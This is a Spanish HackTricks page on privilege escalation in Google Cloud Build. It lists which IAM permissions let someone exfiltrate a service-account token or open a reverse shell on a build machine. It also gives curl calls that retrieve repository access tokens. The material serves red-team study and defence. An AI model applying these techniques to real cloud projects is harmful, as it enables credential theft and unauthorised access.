GCP - Cloudbuild Privesc

Aprende hacking en AWS desde cero hasta experto con htARTE (Experto en Red Team de HackTricks en AWS)!

Otras formas de apoyar a HackTricks:

cloudbuild

Para obtener más información sobre Cloud Build, consulta:

pageGCP - Cloud Build Enum

cloudbuild.builds.create

Con este permiso puedes enviar una compilación en la nube. La máquina cloudbuild tendrá de forma predeterminada en su sistema de archivos un token de la Cuenta de Servicio de cloudbuild: <PROJECT_NUMBER>@cloudbuild.gserviceaccount.com. Sin embargo, puedes indicar cualquier cuenta de servicio dentro del proyecto en la configuración de cloudbuild. Por lo tanto, simplemente puedes hacer que la máquina exfiltre a tu servidor el token o obtener una shell inversa dentro de ella y obtener el token (el archivo que contiene el token podría cambiar).

Puedes encontrar el script de explotación original aquí en GitHub (pero la ubicación de la que toma el token no funcionó para mí). Por lo tanto, revisa un script para automatizar la creación, explotación y limpieza de un entorno vulnerable aquí y un script en python para obtener una shell inversa dentro de la máquina cloudbuild y robarlo aquí (en el código puedes encontrar cómo especificar otras cuentas de servicio).

Para una explicación más detallada, visita https://rhinosecuritylabs.com/gcp/iam-privilege-escalation-gcp-cloudbuild/

cloudbuild.builds.update

Potencialmente con este permiso podrás actualizar una compilación en la nube y simplemente robar el token de la cuenta de servicio como se hizo con el permiso anterior (pero desafortunadamente en el momento de escribir esto no pude encontrar ninguna forma de llamar a esa API).

TODO

cloudbuild.repositories.accessReadToken

Con este permiso, el usuario puede obtener el token de acceso de lectura utilizado para acceder al repositorio:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadToken"

cloudbuild.repositories.accessReadWriteToken

Con este permiso, el usuario puede obtener el token de acceso de lectura y escritura utilizado para acceder al repositorio:

curl -X POST \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
-H "Content-Type: application/json" \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>/repositories/<repo-id>:accessReadWriteToken"

cloudbuild.connections.fetchLinkableRepositories

Con este permiso puedes obtener los repositorios a los que la conexión tiene acceso:

curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects/<PROJECT_ID>/locations/<LOCATION>/connections/<CONN_ID>:fetchLinkableRepositories"
Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización